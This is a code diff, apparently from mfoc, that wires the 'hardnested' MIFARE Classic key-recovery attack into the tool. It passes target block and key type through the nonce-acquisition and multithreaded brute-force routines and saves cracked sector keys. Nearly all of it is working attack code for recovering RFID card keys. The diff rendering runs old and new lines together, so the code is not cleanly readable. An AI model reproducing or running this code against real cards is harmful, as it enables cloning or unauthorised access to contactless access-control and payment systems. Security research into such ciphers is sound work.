crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
best_first_bytes[0],
SumProperty(pcs),
pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
//test_state_odd = pcs->odd & 0x00ffffff;
//test_state_even = pcs->even & 0x00ffffff;
crypto1_destroy(pcs);
pcs = crypto1_create(0xa6b9aa97b955);
printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
best_first_bytes[0],
SumProperty(pcs),
pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
test_state_odd = pcs->odd & 0x00ffffff;
test_state_even = pcs->even & 0x00ffffff;
crypto1_destroy(pcs);
*/
// printf("\nTests: Sorted First Bytes:\n");
// for (uint16_t i = 0; i < 20; i++) {
// uint8_t best_byte = best_first_bytes[i];
// //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%\n",
// printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8) = ", i, best_byte, nonces[best_byte].num, nonces[best_byte].Sum);
// for (uint16_t j = 0; j < 3; j++) {
// printf("%3d @ %4.1f%%, ", sums[nonces[best_byte].sum_a8_guess[j].sum_a8_idx], nonces[best_byte].sum_a8_guess[j].prob * 100.0);
// }
// printf(" %12" PRIu64 ", %12" PRIu64 ", %12" PRIu64 ", exp_brute: %12.0f\n",
// nonces[best_byte].sum_a8_guess[0].num_states,
// nonces[best_byte].sum_a8_guess[1].num_states,
// nonces[best_byte].sum_a8_guess[2].num_states,
// nonces[best_byte].expected_num_brute_force);
// }
// printf("\nTests: Actual BitFlipProperties of best byte:\n");
// printf("[%02x]:", best_first_bytes[0]);
// for (uint16_t bitflip_idx = 0; bitflip_idx < num_all_effective_bitflips; bitflip_idx++) {
// uint16_t bitflip_prop = all_effective_bitflip[bitflip_idx];
// if (nonces[best_first_bytes[0]].BitFlips[bitflip_prop]) {
// printf(" %03" PRIx16 , bitflip_prop);
// }
// }
// printf("\n");
// printf("\nTests2: Actual BitFlipProperties of first_byte_smallest_bitarray:\n");
// printf("[%02x]:", best_first_byte_smallest_bitarray);
// for (uint16_t bitflip_idx = 0; bitflip_idx < num_all_effective_bitflips; bitflip_idx++) {
// uint16_t bitflip_prop = all_effective_bitflip[bitflip_idx];
// if (nonces[best_first_byte_smallest_bitarray].BitFlips[bitflip_prop]) {
// printf(" %03" PRIx16 , bitflip_prop);
// }
// }
// printf("\n");
if (known_target_key != -1) { if (known_target_key != -1) {
for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
uint32_t *bitset = nonces[best_first_bytes[0]].states_bitarray[odd_even]; uint32_t *bitset = nonces[best_first_bytes[0]].states_bitarray[odd_even];
@ -2546,64 +2137,6 @@ static void Tests() {
} }
} }
} }
// if (known_target_key != -1) {
// int16_t p = -1, q = -1, r = -1, s = -1;
// printf("\nTests: known target key is member of these partial sum_a0 bitsets:\n");
// for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
// printf("%s", odd_even==EVEN_STATE?"even:":"odd: ");
// for (uint16_t i = 0; i < NUM_PART_SUMS; i++) {
// uint32_t *bitset = part_sum_a0_bitarrays[odd_even][i];
// if (test_bit24(bitset, test_state[odd_even])) {
// printf("%d ", i);
// if (odd_even == ODD_STATE) {
// p = 2*i;
// } else {
// q = 2*i;
// }
// }
// }
// printf("\n");
// }
// printf("\nTests: known target key is member of these partial sum_a8 bitsets:\n");
// for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
// printf("%s", odd_even==EVEN_STATE?"even:":"odd: ");
// for (uint16_t i = 0; i < NUM_PART_SUMS; i++) {
// uint32_t *bitset = part_sum_a8_bitarrays[odd_even][i];
// if (test_bit24(bitset, test_state[odd_even])) {
// printf("%d ", i);
// if (odd_even == ODD_STATE) {
// r = 2*i;
// } else {
// s = 2*i;
// }
// }
// }
// printf("\n");
// }
// printf("Sum(a0) = p*(16-q) + (16-p)*q = %d*(16-%d) + (16-%d)*%d = %d\n", p, q, p, q, p*(16-q)+(16-p)*q);
// printf("Sum(a8) = r*(16-s) + (16-r)*s = %d*(16-%d) + (16-%d)*%d = %d\n", r, s, r, s, r*(16-s)+(16-r)*s);
// }
/* printf("\nTests: parity performance\n");
uint64_t time1p = msclock();
uint32_t par_sum = 0;
for (uint32_t i = 0; i < 100000000; i++) {
par_sum += parity(i);
}
printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(msclock() - time1p)/1000.0);
time1p = msclock();
par_sum = 0;
for (uint32_t i = 0; i < 100000000; i++) {
par_sum += evenparity32(i);
}
printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(msclock() - time1p)/1000.0);
*/
} }
static void Tests2(void) { static void Tests2(void) {
@ -2643,7 +2176,7 @@ static void set_test_state(uint8_t byte) {
crypto1_destroy(pcs); crypto1_destroy(pcs);
} }
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests) { int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType) {
char progress_text[80]; char progress_text[80];
char instr_set[12] = {0}; char instr_set[12] = {0};
@ -2654,27 +2187,10 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc
brute_force_per_second = brute_force_benchmark(); brute_force_per_second = brute_force_benchmark();
write_stats = false; write_stats = false;
if (tests) {
// set the correct locale for the stats printing
write_stats = true;
setlocale(LC_NUMERIC, "");
if ((fstats = fopen("hardnested_stats.txt", "a")) == NULL) {
PrintAndLog("Could not create/open file hardnested_stats.txt");
return 3;
}
for (uint32_t i = 0; i < tests; i++) {
start_time = msclock(); start_time = msclock();
print_progress_header(); print_progress_header();
sprintf(progress_text, "Brute force benchmark: %1.0f million (2^%1.1f) keys/s", brute_force_per_second / 1000000, log(brute_force_per_second) / log(2.0)); sprintf(progress_text, "Brute force benchmark: %1.0f million (2^%1.1f) keys/s", brute_force_per_second / 1000000, log(brute_force_per_second) / log(2.0));
hardnested_print_progress(0, progress_text, (float) (1LL << 47), 0); hardnested_print_progress(0, progress_text, (float) (1LL << 47), 0, 0, 0);
sprintf(progress_text, "Starting Test #%" PRIu32 " ...", i + 1);
hardnested_print_progress(0, progress_text, (float) (1LL << 47), 0);
if (trgkey != NULL) {
known_target_key = bytes_to_num(trgkey, 6);
} else {
known_target_key = -1;
}
init_bitflip_bitarrays(); init_bitflip_bitarrays();
init_part_sum_bitarrays(); init_part_sum_bitarrays();
init_sum_bitarrays(); init_sum_bitarrays();
@ -2682,117 +2198,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc
init_nonce_memory(); init_nonce_memory();
update_reduction_rate(0.0, true); update_reduction_rate(0.0, true);
simulate_acquire_nonces(); uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType);
set_test_state(best_first_bytes[0]);
Tests();
free_bitflip_bitarrays();
fprintf(fstats, "%" PRIu16 ";%1.1f;", sums[first_byte_Sum], log(p_K0[first_byte_Sum]) / log(2.0));
fprintf(fstats, "%" PRIu16 ";%1.1f;", sums[nonces[best_first_bytes[0]].sum_a8_guess[0].sum_a8_idx], log(p_K[nonces[best_first_bytes[0]].sum_a8_guess[0].sum_a8_idx]) / log(2.0));
fprintf(fstats, "%" PRIu16 ";", real_sum_a8);
#ifdef DEBUG_KEY_ELIMINATION
failstr[0] = '\0';
#endif
bool key_found = false;
num_keys_tested = 0;
uint32_t num_odd = nonces[best_first_byte_smallest_bitarray].num_states_bitarray[ODD_STATE];
uint32_t num_even = nonces[best_first_byte_smallest_bitarray].num_states_bitarray[EVEN_STATE];
float expected_brute_force1 = (float) num_odd * num_even / 2.0;
float expected_brute_force2 = nonces[best_first_bytes[0]].expected_num_brute_force;
fprintf(fstats, "%1.1f;%1.1f;", log(expected_brute_force1) / log(2.0), log(expected_brute_force2) / log(2.0));
if (expected_brute_force1 < expected_brute_force2) {
hardnested_print_progress(num_acquired_nonces, "(Ignoring Sum(a8) properties)", expected_brute_force1, 0);
set_test_state(best_first_byte_smallest_bitarray);
add_bitflip_candidates(best_first_byte_smallest_bitarray);
Tests2();
maximum_states = 0;
for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) {
maximum_states += (uint64_t) sl->len[ODD_STATE] * sl->len[EVEN_STATE];
}
//printf("Number of remaining possible keys: %" PRIu64 " (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0));
// fprintf("fstats, "%" PRIu64 ";", maximum_states);
best_first_bytes[0] = best_first_byte_smallest_bitarray;
pre_XOR_nonces();
prepare_bf_test_nonces(nonces, best_first_bytes[0]);
hardnested_print_progress(num_acquired_nonces, "Starting brute force...", expected_brute_force1, 0);
key_found = brute_force();
free(candidates->states[ODD_STATE]);
free(candidates->states[EVEN_STATE]);
free_candidates_memory(candidates);
candidates = NULL;
} else {
pre_XOR_nonces();
prepare_bf_test_nonces(nonces, best_first_bytes[0]);
for (uint8_t j = 0; j < NUM_SUMS && !key_found; j++) {
float expected_brute_force = nonces[best_first_bytes[0]].expected_num_brute_force;
sprintf(progress_text, "(%d. guess: Sum(a8) = %" PRIu16 ")", j + 1, sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx]);
hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0);
if (sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx] != real_sum_a8) {
sprintf(progress_text, "(Estimated Sum(a8) is WRONG! Correct Sum(a8) = %" PRIu16 ")", real_sum_a8);
hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0);
}
// printf("Estimated remaining states: %" PRIu64 " (2^%1.1f)\n", nonces[best_first_bytes[0]].sum_a8_guess[j].num_states, log(nonces[best_first_bytes[0]].sum_a8_guess[j].num_states)/log(2.0));
generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx);
// printf("Time for generating key candidates list: %1.0f sec (%1.1f sec CPU)\n", difftime(time(NULL), start_time), (float)(msclock() - start_clock)/1000.0);
hardnested_print_progress(num_acquired_nonces, "Starting brute force...", expected_brute_force, 0);
key_found = brute_force();
PrintAndLog("vk496");
free_statelist_cache();
free_candidates_memory(candidates);
candidates = NULL;
if (!key_found) {
// update the statistics
nonces[best_first_bytes[0]].sum_a8_guess[j].prob = 0;
nonces[best_first_bytes[0]].sum_a8_guess[j].num_states = 0;
// and calculate new expected number of brute forces
update_expected_brute_force(best_first_bytes[0]);
}
}
}
#ifdef DEBUG_KEY_ELIMINATION
fprintf(fstats, "%1.1f;%1.0f;%d;%s\n", log(num_keys_tested) / log(2.0), (float) num_keys_tested / brute_force_per_second, key_found, failstr);
#else
fprintf(fstats, "%1.0f;%d\n", log(num_keys_tested) / log(2.0), (float) num_keys_tested / brute_force_per_second, key_found);
#endif
free_nonces_memory();
free_bitarray(all_bitflips_bitarray[ODD_STATE]);
free_bitarray(all_bitflips_bitarray[EVEN_STATE]);
free_sum_bitarrays();
free_part_sum_bitarrays();
}
fclose(fstats);
} else {
start_time = msclock();
print_progress_header();
sprintf(progress_text, "Brute force benchmark: %1.0f million (2^%1.1f) keys/s", brute_force_per_second / 1000000, log(brute_force_per_second) / log(2.0));
hardnested_print_progress(0, progress_text, (float) (1LL << 47), 0);
init_bitflip_bitarrays();
init_part_sum_bitarrays();
init_sum_bitarrays();
init_allbitflips_array();
init_nonce_memory();
update_reduction_rate(0.0, true);
if (nonce_file_read) { // use pre-acquired data from file nonces.bin
if (read_nonce_file() != 0) {
free_bitflip_bitarrays();
free_nonces_memory();
free_bitarray(all_bitflips_bitarray[ODD_STATE]);
free_bitarray(all_bitflips_bitarray[EVEN_STATE]);
free_sum_bitarrays();
free_part_sum_bitarrays();
return 3;
}
hardnested_stage = CHECK_1ST_BYTES | CHECK_2ND_BYTES;
update_nonce_data(false);
float brute_force;
shrink_key_space(&brute_force);
} else { // acquire nonces.
uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
if (is_OK != 0) { if (is_OK != 0) {
free_bitflip_bitarrays(); free_bitflip_bitarrays();
free_nonces_memory(); free_nonces_memory();
@ -2802,14 +2208,9 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc
free_part_sum_bitarrays(); free_part_sum_bitarrays();
return is_OK; return is_OK;
} }
}
if (trgkey != NULL) {
known_target_key = bytes_to_num(trgkey, 6);
set_test_state(best_first_bytes[0]);
} else {
known_target_key = -1; known_target_key = -1;
}
Tests(); Tests();
@ -2821,7 +2222,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc
float expected_brute_force1 = (float) num_odd * num_even / 2.0; float expected_brute_force1 = (float) num_odd * num_even / 2.0;
float expected_brute_force2 = nonces[best_first_bytes[0]].expected_num_brute_force; float expected_brute_force2 = nonces[best_first_bytes[0]].expected_num_brute_force;
if (expected_brute_force1 < expected_brute_force2) { if (expected_brute_force1 < expected_brute_force2) {
hardnested_print_progress(num_acquired_nonces, "(Ignoring Sum(a8) properties)", expected_brute_force1, 0); hardnested_print_progress(num_acquired_nonces, "(Ignoring Sum(a8) properties)", expected_brute_force1, 0, trgBlockNo, trgKeyType);
set_test_state(best_first_byte_smallest_bitarray); set_test_state(best_first_byte_smallest_bitarray);
add_bitflip_candidates(best_first_byte_smallest_bitarray); add_bitflip_candidates(best_first_byte_smallest_bitarray);
Tests2(); Tests2();
@ -2833,8 +2234,8 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc
best_first_bytes[0] = best_first_byte_smallest_bitarray; best_first_bytes[0] = best_first_byte_smallest_bitarray;
pre_XOR_nonces(); pre_XOR_nonces();
prepare_bf_test_nonces(nonces, best_first_bytes[0]); prepare_bf_test_nonces(nonces, best_first_bytes[0]);
hardnested_print_progress(num_acquired_nonces, "Starting brute force...", expected_brute_force1, 0); hardnested_print_progress(num_acquired_nonces, "Starting brute force...", expected_brute_force1, 0, trgBlockNo, trgKeyType);
key_found = brute_force(); key_found = brute_force(trgBlockNo, trgKeyType);
free(candidates->states[ODD_STATE]); free(candidates->states[ODD_STATE]);
free(candidates->states[EVEN_STATE]); free(candidates->states[EVEN_STATE]);
free_candidates_memory(candidates); free_candidates_memory(candidates);
@ -2845,16 +2246,16 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc
for (uint8_t j = 0; j < NUM_SUMS && !key_found; j++) { for (uint8_t j = 0; j < NUM_SUMS && !key_found; j++) {
float expected_brute_force = nonces[best_first_bytes[0]].expected_num_brute_force; float expected_brute_force = nonces[best_first_bytes[0]].expected_num_brute_force;
sprintf(progress_text, "(%d. guess: Sum(a8) = %" PRIu16 ")", j + 1, sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx]); sprintf(progress_text, "(%d. guess: Sum(a8) = %" PRIu16 ")", j + 1, sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx]);
hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0); hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0, trgBlockNo, trgKeyType);
if (trgkey != NULL && sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx] != real_sum_a8) { // if (trgkey != NULL && sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx] != real_sum_a8) {
sprintf(progress_text, "(Estimated Sum(a8) is WRONG! Correct Sum(a8) = %" PRIu16 ")", real_sum_a8); // sprintf(progress_text, "(Estimated Sum(a8) is WRONG! Correct Sum(a8) = %" PRIu16 ")", real_sum_a8);
hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0); // hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0);
} // }
// printf("Estimated remaining states: %" PRIu64 " (2^%1.1f)\n", nonces[best_first_bytes[0]].sum_a8_guess[j].num_states, log(nonces[best_first_bytes[0]].sum_a8_guess[j].num_states)/log(2.0)); // printf("Estimated remaining states: %" PRIu64 " (2^%1.1f)\n", nonces[best_first_bytes[0]].sum_a8_guess[j].num_states, log(nonces[best_first_bytes[0]].sum_a8_guess[j].num_states)/log(2.0));
generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx); generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx);
// printf("Time for generating key candidates list: %1.0f sec (%1.1f sec CPU)\n", difftime(time(NULL), start_time), (float)(msclock() - start_clock)/1000.0); // printf("Time for generating key candidates list: %1.0f sec (%1.1f sec CPU)\n", difftime(time(NULL), start_time), (float)(msclock() - start_clock)/1000.0);
hardnested_print_progress(num_acquired_nonces, "Starting brute force...", expected_brute_force, 0); hardnested_print_progress(num_acquired_nonces, "Starting brute force...", expected_brute_force, 0, trgBlockNo, trgKeyType);
key_found = brute_force(); key_found = brute_force(trgBlockNo, trgKeyType);
free_statelist_cache(); free_statelist_cache();
free_candidates_memory(candidates); free_candidates_memory(candidates);
candidates = NULL; candidates = NULL;
@ -2874,7 +2275,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc
free_bitarray(all_bitflips_bitarray[EVEN_STATE]); free_bitarray(all_bitflips_bitarray[EVEN_STATE]);
free_sum_bitarrays(); free_sum_bitarrays();
free_part_sum_bitarrays(); free_part_sum_bitarrays();
}
return 0; return 0;
} }

View File

@ -13,6 +13,7 @@
#include <stdint.h> #include <stdint.h>
#include <stdbool.h> #include <stdbool.h>
#include "mfoc.h"
#define NUM_SUMS 19 // number of possible sum property values #define NUM_SUMS 19 // number of possible sum property values
@ -46,8 +47,9 @@ typedef struct noncelist {
noncelistentry_t *first; noncelistentry_t *first;
} noncelist_t; } noncelist_t;
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests); int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType);
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time); void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time, uint8_t trgKeyBlock, uint8_t trgKeyType);
const char *get_my_executable_directory();
#endif #endif

View File

@ -63,6 +63,7 @@ THE SOFTWARE.
#include "../util_posix.h" #include "../util_posix.h"
#include "../crapto1.h" #include "../crapto1.h"
#include "../parity.h" #include "../parity.h"
#include "mifare.h"
#define NUM_BRUTE_FORCE_THREADS (num_CPUs()) #define NUM_BRUTE_FORCE_THREADS (num_CPUs())
#define DEFAULT_BRUTE_FORCE_RATE (120000000.0) // if benchmark doesn't succeed #define DEFAULT_BRUTE_FORCE_RATE (120000000.0) // if benchmark doesn't succeed
@ -147,6 +148,8 @@ crack_states_thread(void* x) {
uint64_t maximum_states; uint64_t maximum_states;
noncelist_t *nonces; noncelist_t *nonces;
uint8_t* best_first_bytes; uint8_t* best_first_bytes;
uint8_t trgBlock;
uint8_t trgKey;
} *thread_arg; } *thread_arg;
thread_arg = (struct arg *) x; thread_arg = (struct arg *) x;
@ -163,7 +166,14 @@ crack_states_thread(void* x) {
__sync_fetch_and_add(&keys_found, 1); __sync_fetch_and_add(&keys_found, 1);
char progress_text[80]; char progress_text[80];
sprintf(progress_text, "Brute force phase completed. Key found: %012" PRIx64, key); sprintf(progress_text, "Brute force phase completed. Key found: %012" PRIx64, key);
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0); if (thread_arg->trgKey == MC_AUTH_A){
t.sectors[thread_arg->trgBlock / 4].foundKeyA = true;
memcpy(t.sectors[thread_arg->trgBlock / 4].KeyA, &key, sizeof(key));
} else {
t.sectors[thread_arg->trgBlock / 4].foundKeyB = true;
memcpy(t.sectors[thread_arg->trgBlock / 4].KeyB, &key, sizeof(key));
}
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0, thread_arg->trgBlock, thread_arg->trgKey);
break; break;
} else if (keys_found) { } else if (keys_found) {
break; break;
@ -172,7 +182,7 @@ crack_states_thread(void* x) {
char progress_text[80]; char progress_text[80];
sprintf(progress_text, "Brute force phase: %6.02f%%", 100.0 * (float) num_keys_tested / (float) (thread_arg->maximum_states)); sprintf(progress_text, "Brute force phase: %6.02f%%", 100.0 * (float) num_keys_tested / (float) (thread_arg->maximum_states));
float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float) num_keys_tested / 2; float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float) num_keys_tested / 2;
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000); hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000, thread_arg->trgBlock, thread_arg->trgKey);
} }
} }
} }
@ -277,7 +287,7 @@ static void write_benchfile(statelist_t *candidates) {
} }
#endif #endif
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes) { bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey) {
#if defined (WRITE_BENCH_FILE) #if defined (WRITE_BENCH_FILE)
write_benchfile(candidates); write_benchfile(candidates);
#endif #endif
@ -322,6 +332,8 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint
uint64_t maximum_states; uint64_t maximum_states;
noncelist_t *nonces; noncelist_t *nonces;
uint8_t *best_first_bytes; uint8_t *best_first_bytes;
uint8_t trgBlock;
uint8_t trgKey;
} thread_args[NUM_BRUTE_FORCE_THREADS]; } thread_args[NUM_BRUTE_FORCE_THREADS];
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) { for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
@ -332,6 +344,8 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint
thread_args[i].maximum_states = maximum_states; thread_args[i].maximum_states = maximum_states;
thread_args[i].nonces = nonces; thread_args[i].nonces = nonces;
thread_args[i].best_first_bytes = best_first_bytes; thread_args[i].best_first_bytes = best_first_bytes;
thread_args[i].trgBlock = trgBlock;
thread_args[i].trgKey = trgKey;
pthread_create(&threads[i], NULL, crack_states_thread, (void*) &thread_args[i]); pthread_create(&threads[i], NULL, crack_states_thread, (void*) &thread_args[i]);
} }
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) { for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
@ -363,8 +377,8 @@ static bool read_bench_data(statelist_t *test_candidates) {
uint32_t num_states = 0; uint32_t num_states = 0;
uint32_t states_read = 0; uint32_t states_read = 0;
char bench_file_path[strlen(".") + strlen(TEST_BENCH_FILENAME) + 1]; char bench_file_path[strlen(get_my_executable_directory()) + strlen(TEST_BENCH_FILENAME) + 1];
strcpy(bench_file_path, "."); strcpy(bench_file_path, get_my_executable_directory());
strcat(bench_file_path, TEST_BENCH_FILENAME); strcat(bench_file_path, TEST_BENCH_FILENAME);
FILE *benchfile = fopen(bench_file_path, "rb"); FILE *benchfile = fopen(bench_file_path, "rb");
@ -453,7 +467,7 @@ float brute_force_benchmark() {
uint64_t maximum_states = TEST_BENCH_SIZE * TEST_BENCH_SIZE * (uint64_t) NUM_BRUTE_FORCE_THREADS; uint64_t maximum_states = TEST_BENCH_SIZE * TEST_BENCH_SIZE * (uint64_t) NUM_BRUTE_FORCE_THREADS;
float bf_rate; float bf_rate;
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0); brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0, 0, 0);
free(test_candidates[0].states[ODD_STATE]); free(test_candidates[0].states[ODD_STATE]);
free(test_candidates[0].states[EVEN_STATE]); free(test_candidates[0].states[EVEN_STATE]);

View File

@ -20,6 +20,7 @@
#include <stdint.h> #include <stdint.h>
#include <stdbool.h> #include <stdbool.h>
#include "../cmdhfmfhard.h" #include "../cmdhfmfhard.h"
#include "../mfoc.h"
typedef struct { typedef struct {
uint32_t *states[2]; uint32_t *states[2];
@ -28,7 +29,7 @@ typedef struct {
} statelist_t; } statelist_t;
extern void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte); extern void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte);
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes); extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey);
extern float brute_force_benchmark(); extern float brute_force_benchmark();
extern uint8_t trailing_zeros(uint8_t byte); extern uint8_t trailing_zeros(uint8_t byte);
extern bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even); extern bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even);

View File

@ -55,6 +55,7 @@
//SLRE //SLRE
#include "slre.h" #include "slre.h"
#include "slre.c" #include "slre.c"
#include "cmdhfmfhard.h"
#define MAX_FRAME_LEN 264 #define MAX_FRAME_LEN 264
@ -110,8 +111,6 @@ int main(int argc, char *const argv[])
}; };
mftag t;
mfreader r;
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
// Pointers to possible keys // Pointers to possible keys
@ -536,10 +535,27 @@ int main(int argc, char *const argv[])
} }
if (skip) continue; // We have already revealed key, go to the next iteration if (skip) continue; // We have already revealed key, go to the next iteration
mf_configure(r.pdi);
mf_anticollision(t, r);
if (mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0) == -99999) {
//Hardnested attack
mf_configure(r.pdi);
mf_anticollision(t, r);
uint8_t blockNo = e_sector * 4; //Block
uint8_t keyType = (t.sectors[e_sector].foundKeyA ? MC_AUTH_A : MC_AUTH_B);
uint8_t *key = (t.sectors[e_sector].foundKeyA ? t.sectors[e_sector].KeyA : t.sectors[e_sector].KeyB);;
uint8_t trgBlockNo = j * 4; //block
uint8_t trgKeyType = (dumpKeysA ? MC_AUTH_A : MC_AUTH_B);
mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType);
} else {
//Nested attack
// Max probes for auth for each sector // Max probes for auth for each sector
for (k = 0; k < probes; ++k) { for (k = 0; k < probes; ++k) {
// Try to authenticate to exploit sector and determine distances (filling denonce.distances) // Try to authenticate to exploit sector and determine distances (filling denonce.distances)
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0); // AUTH + Get Distances mode
if(authresult == -99999){ if(authresult == -99999){
//for now we return the last sector that is unknown //for now we return the last sector that is unknown
nfc_close(r.pdi); nfc_close(r.pdi);
@ -561,7 +577,7 @@ int main(int argc, char *const argv[])
// We have 'sets' * 32b keystream of potential keys // We have 'sets' * 32b keystream of potential keys
for (n = 0; n < sets; n++) { for (n = 0; n < sets; n++) {
// AUTH + Recovery key mode (for a_sector), repeat 5 times // AUTH + Recovery key mode (for a_sector), repeat 5 times
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA); mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA, 0, 0);
mf_configure(r.pdi); mf_configure(r.pdi);
mf_anticollision(t, r); mf_anticollision(t, r);
fprintf(stdout, "."); fprintf(stdout, ".");
@ -637,6 +653,7 @@ int main(int argc, char *const argv[])
// Success, try the next sector // Success, try the next sector
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break; if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
} }
}
// We haven't found any key, exiting // We haven't found any key, exiting
